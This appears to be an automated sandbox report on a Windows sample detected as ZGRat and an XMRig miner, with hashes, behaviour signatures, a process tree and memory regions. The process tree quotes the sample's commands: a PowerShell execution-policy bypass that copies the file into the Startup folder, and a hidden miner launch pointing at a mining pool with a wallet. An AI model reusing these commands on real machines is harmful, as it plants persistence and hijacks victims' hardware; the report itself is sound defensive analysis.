Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240319-en
  • resource tags

    arch:x64arch:x86image:win11-20240319-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04-04-2024 02:09

General

  • Target

    d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe

  • Size

    854KB

  • MD5

    9dab7bdadcab9c6bf91272fb7931787c

  • SHA1

    5f1d9471c50e40cf5279a1fade18b93c1d80839c

  • SHA256

    d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5

  • SHA512

    c9565b213b2d872d5032bbc403be4d975d134261c3a82cb429960ff4ea33930fad08bc8effb7b8bce176b9c25be8deb3113c8e25879923a9e4862218517f3a03

  • SSDEEP

    12288:IcvCS1ED+vJf54ixpwnhc29JPFrAOwap6pPDtvQE7qct2d9/ax:IcvCEhrxChc0J9cLvPDtvQEftA9/a

Malware Config

Signatures

  • Detect ZGRat V1 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • Drops startup file 2 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe
    "C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe"
    1⤵
    • UAC bypass
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4932
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      "Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' -Force
      2⤵
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2176
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RL3237VGvpn6a2PLwAPVzTRyWmPhKQVn9k.RIG_CPU -p x --cpu-max-threads-hint=50
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:668

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vimslb33.0yo.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/668-51-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-52-0x0000016D21950000-0x0000016D21990000-memory.dmp

    Filesize

    256KB

  • memory/668-60-0x0000016D21910000-0x0000016D21930000-memory.dmp

    Filesize

    128KB

  • memory/668-58-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-50-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-56-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-59-0x0000016D21910000-0x0000016D21930000-memory.dmp

    Filesize

    128KB

  • memory/668-42-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-57-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-49-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-47-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-48-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-46-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-45-0x0000016D218C0000-0x0000016D218E0000-memory.dmp

    Filesize

    128KB

  • memory/668-44-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/668-43-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/2176-39-0x00007FFABC6A0000-0x00007FFABD162000-memory.dmp

    Filesize

    10.8MB

  • memory/2176-17-0x0000023B2FE50000-0x0000023B2FE60000-memory.dmp

    Filesize

    64KB

  • memory/2176-34-0x0000023B2FE50000-0x0000023B2FE60000-memory.dmp

    Filesize

    64KB

  • memory/2176-16-0x00007FFABC6A0000-0x00007FFABD162000-memory.dmp

    Filesize

    10.8MB

  • memory/2176-18-0x0000023B2FE50000-0x0000023B2FE60000-memory.dmp

    Filesize

    64KB

  • memory/4932-19-0x0000000021700000-0x00000000217A2000-memory.dmp

    Filesize

    648KB

  • memory/4932-40-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-32-0x00007FFABC6A0000-0x00007FFABD162000-memory.dmp

    Filesize

    10.8MB

  • memory/4932-23-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-20-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-21-0x0000000022180000-0x0000000022282000-memory.dmp

    Filesize

    1.0MB

  • memory/4932-22-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-41-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-35-0x0000000021AA0000-0x0000000021AEC000-memory.dmp

    Filesize

    304KB

  • memory/4932-33-0x00000000218A0000-0x00000000218F6000-memory.dmp

    Filesize

    344KB

  • memory/4932-0-0x0000000000170000-0x0000000000248000-memory.dmp

    Filesize

    864KB

  • memory/4932-14-0x000000001F700000-0x000000001F7A6000-memory.dmp

    Filesize

    664KB

  • memory/4932-54-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-53-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-55-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-13-0x000000001F610000-0x000000001F6D4000-memory.dmp

    Filesize

    784KB

  • memory/4932-12-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-11-0x000000001BDF0000-0x000000001BE12000-memory.dmp

    Filesize

    136KB

  • memory/4932-2-0x000000001BE30000-0x000000001BE40000-memory.dmp

    Filesize

    64KB

  • memory/4932-1-0x00007FFABC6A0000-0x00007FFABD162000-memory.dmp

    Filesize

    10.8MB